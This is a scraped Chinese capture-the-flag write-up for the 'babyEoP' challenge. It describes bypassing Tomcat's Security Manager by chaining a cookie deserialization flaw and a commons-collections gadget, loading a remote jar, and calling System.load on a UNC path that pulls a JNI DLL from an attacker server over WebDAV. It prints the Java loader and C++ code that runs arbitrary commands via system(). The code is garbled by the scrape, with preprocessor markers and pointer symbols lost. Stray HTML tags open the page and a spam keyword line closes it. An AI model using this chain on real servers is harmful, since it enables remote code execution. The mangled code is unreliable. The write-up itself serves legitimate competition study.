<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    babyEoP

    出題人:Jaylin 解題人數:0 最終分數:1000

    題目給了一個webshell,弱密碼直接進去。

    Tomcat啟用了 Security Manager,webshell基本所有功能無法正常使用,但是可以查看有限的幾個目錄文件,無寫權限。

    如果順利,應該可以收集到以下信息:

    • cookie處存在反序列化的點,有反序列化漏洞。
    • 查看lib目錄,存在 commons-collections 3.1 gadget
    • 找到 catalina.policy 文件,是Tomcat默認的安全策略配置文件,這應該是本題可能有點腦洞的地方,因為沒有給 C:/babyEoP/apache-tomcat-8.5.42 的讀權限,所以無法列目錄,但是 conf 目錄是可讀的。(有將近10位選手讀到了這個文件hhhh。)

    我在官方提供的 catalina.policy 的基礎上,做了一些修改。給了 LoadLibrary 、 createClassLoader、 accessDeclaredMembers 幾個重要權限。

    分析 policy ,應該很容易可以想到,要通過 JNI 繞過 Security Manager。但是 JNI 需要加載一個 dll 動態鏈接庫,由于并沒有給任何寫權限,所以是不可能上傳 dll 的。

    并且,webshell 的 Eval Code 使用時,需要向當前目錄寫一個 tmp.jsp 文件,所以也是不能用的(不要想著用這個執行代碼)。

    那么該如何才能執行代碼來加載一個不在本地的dll呢?

    下面是具體的解題思路:

    題目已經給了反序列化的點以及gadget,可以通過這個來執行代碼。

    ysoserial 的 commons-collections 利用鏈提供了幾個直接執行命令的 gadget,但是都是基于 Runtime.exec 的,并沒有給這個權限。So 想要直接利用是不行的。

    但是直接用 gadget 構造出加載dll可能比較困難,所以這里可以利用稍微高級一點的方法——加載外部的jar來執行代碼。

    構造見https://github.com/Jayl1n/ysoserial/blob/m....

    下面要加載 dll,用 JNI 繞 JSM。

    同樣因為沒有寫權限,且 dll 無法一起打包到 jar 里,所以要從網絡上加載 dll。

    這里利用 System.load 的一個特性——可以使用 UNC 路徑,加載遠程的 dll。

    為什么可以使用 UNC 呢?來看下 System.load 的調用過程。

    System.load

    調用了 Runtime.getRuntime().load0

    1.Runtime.getRuntime().load0

    在這里會判斷 filename 是否是一個絕對路徑,如果不是就直接拋出異常,是就進一步加載。

    1.File.isAbsolute

    再看看 File 是如何判斷是否是絕對路徑的。

    根據描述,linux下要求以 / 開頭。windows下,要求以盤符或者 \\\\開頭。

    emm 綜上,所以這里可以使用 UNC 路徑。

    下面是另一個坑,UNC 默認是走 445 端口的,如果沒有特殊情況,公網上都是屏蔽了這個端口的。

    這里利用 windows 一個特性,在開啟了 webclient 服務的情況下,UNC 訪問 445 失敗時,會嘗試訪問目標服務器80端口的 webdav 去加載資源 ( ̄??), 這一點 hint 已經提示過了。

    EXP 類 R.

    public class R { static { System.load("\\xxx.xxx.xxx.xxx\JNI.dll"); }
    
    public static native void exec(String cmd);
    public R(String cmd) {
        exec(cmd);
    }
    } 

    執行命令

    c R. jar cvf R.jar R.class

    將打包的 R.jar 放到服務器上的 web 服務下。

    DLL R.h

    ifdef __cplusplus
    extern "C" {
    
    endif
    JNIEXPORT void JNICALL _R_exec
    (JNIEnv *, jclass, jstring);
    ifdef __cplusplus
    }
    
    endif
    endif

    R.cpp

    include "R.h"
    include
    JNIEXPORT void JNICALL _R_exec (JNIEnv env, jclass clazz, jstring str) { char cmd= (char*)env->GetStringUTFChars(str,JNI_FALSE); system(cmd); env->ReleaseStringUTFChars(str,cmd); } 

    編譯成 dll,放到服務器的 webdav 服務下。

    https://github.com/Jayl1n/ysoserial/blob/m.... 構造序列化 payload,貼到 cookie 里打一發,完事兒~

    本文章首發在 網安wangan.com 網站上。

    上一篇 下一篇
    討論數量: 0
    只看當前版本


    暫無話題~
    亚洲 欧美 自拍 唯美 另类